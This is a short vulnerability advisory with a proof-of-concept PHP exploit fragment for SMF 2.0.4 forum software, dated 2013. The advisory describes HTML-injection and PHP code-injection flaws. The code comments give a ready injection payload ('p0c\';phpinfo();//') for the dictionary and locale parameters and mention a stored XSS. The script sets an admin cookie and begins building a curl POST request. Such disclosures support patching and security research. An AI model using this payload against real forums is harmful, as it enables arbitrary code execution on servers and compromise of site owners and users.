SMF is prone to an HTML-injection and multiple PHP code-injection vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the affected application and inject hostile HTML and script code into vulnerable sections of the application.
SMF 2.0.4is vulnerable; other versions may also be affected.<?php
// proof of concept that latest SMF (2.0.4) can be exploited by php injection.// payload code must escape from \', so you should trywith something like
// that:// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale
// parameter.// For character_set - another story,as far as I remember, because here we
// have
// a nice stored xss.;)//21/04/2013// http://HauntIT.blogspot.com
// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie ='SMFCookie956=allCookiesHere';

curl_setopt($ch, CURLOPT_HEADER,1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST,1);// send as POST (to 'On')
